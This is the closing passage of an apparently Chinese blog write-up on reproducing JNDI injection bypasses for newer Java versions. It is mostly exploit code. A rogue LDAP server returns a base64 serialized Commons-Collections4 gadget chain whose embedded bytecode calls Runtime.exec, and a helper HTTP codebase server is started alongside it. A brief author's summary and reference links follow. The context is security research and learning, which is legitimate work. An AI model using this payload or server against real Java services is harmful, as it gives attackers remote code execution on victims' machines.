    e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
    } catch (ParseException e1) {
    e1.printStackTrace();
    }
    /** Payload2 end **/
    
    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
    System.out.println("Starting HTTP server");
    HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
    httpServer.createContext("/", new HttpFileHandler());
    httpServer.setExecutor(null);
    httpServer.start();
    }
    
    public static void main(String[] args) throws Exception {
    String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
    args = args1;
    System.out.println("HttpServerAddress: "+args[0]);
    System.out.println("HttpServerPort: "+args[1]);
    System.out.println("LDAPServerPort: "+args[2]);
    String http_server_ip = args[0];
    int ldap_port = Integer.valueOf(args[2]);
    int http_server_port = Integer.valueOf(args[1]);
    
    lanuchCodebaseURLServer(http_server_ip, http_server_port);
    lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
    }
    • 发起ladp请求,结果如下

    4 总结

    第一时间看到浅蓝师傅的文章后,很想马上学习一下,无奈论文催得紧,过年前复现出了一部分。昨天终于写完了论文,继续来复现,所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法,但看起来不是特别实用,所以没有复现了。

    经过对JNDI 高版本bypass方法的学习,真的佩服大师傅们对java研究的功力,另外复现过程中也明显感觉出来,jndi bypass的利用必须要依赖一些方便的工具,否则手工做起来真心麻烦,依赖都是一大堆。

    参考

    https://paper.seebug.org/942/

    https://tttang.com/archive/1405/

    https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: